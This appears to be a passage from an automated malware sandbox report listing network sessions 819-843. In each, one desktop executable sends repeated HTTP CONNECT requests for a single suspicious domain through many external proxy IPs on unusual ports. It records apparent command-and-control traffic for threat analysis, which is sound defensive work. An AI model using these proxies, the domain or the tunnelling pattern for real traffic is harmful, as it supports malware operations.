Mar 11, 2024 15:21:05.535660982 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.689771891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
819	192.168.2.9	52674	88.198.219.62	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.535846949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.844660044 CET	309	IN	HTTP/1.1 400 Bad Request Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
820	192.168.2.9	52663	85.214.107.177	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.536128044 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.325263023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.325864077 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.325709105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.138048887 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.934767008 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:20.825371027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
821	192.168.2.9	50383	109.87.130.6	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.536310911 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.9	52726	162.159.246.135	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.536616087 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.697535992 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.9	52671	141.95.160.178	48223	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.536617041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.325299978 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.325828075 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:09.325731039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.138358116 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.138031960 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.9	52733	104.18.234.218	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.536988020 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.691169977 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.9	52664	185.236.46.221	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.541378975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.9	52704	104.19.233.117	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.564595938 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.719387054 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.9	52768	162.159.242.62	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.568078995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.730396986 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.9	52700	157.185.176.44	26589	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.568078995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.9	52670	200.43.231.4	4153	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.571566105 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.9	52668	103.111.136.110	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.571763039 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.255414963 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.9	52131	123.110.158.236	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.583468914 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.9	52796	172.67.181.85	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.583791971 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.738107920 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:05 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.9	52701	72.206.181.97	64943	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.588315964 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
834	192.168.2.9	52706	70.166.167.55	57745	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.589445114 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
835	192.168.2.9	52197	213.32.252.134	5678	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.590421915 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
836	192.168.2.9	52682	198.44.255.3	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.599322081 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
837	192.168.2.9	52642	69.61.200.104	36181	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.599513054 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
838	192.168.2.9	52691	47.243.114.192	8180	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.600028992 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
839	192.168.2.9	52696	218.252.244.126	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.606055975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
840	192.168.2.9	52883	49.51.94.12	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.616983891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
841	192.168.2.9	52685	119.18.149.34	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.618448973 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
842	192.168.2.9	52723	79.110.196.145	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.618724108 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
843	192.168.2.9	50929	166.62.38.100	8730	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:05.621021986 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.637998104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:11.638094902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:17.638070107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:29.637947083 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:41.637531042 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:53.637523890 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:17.637495995 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
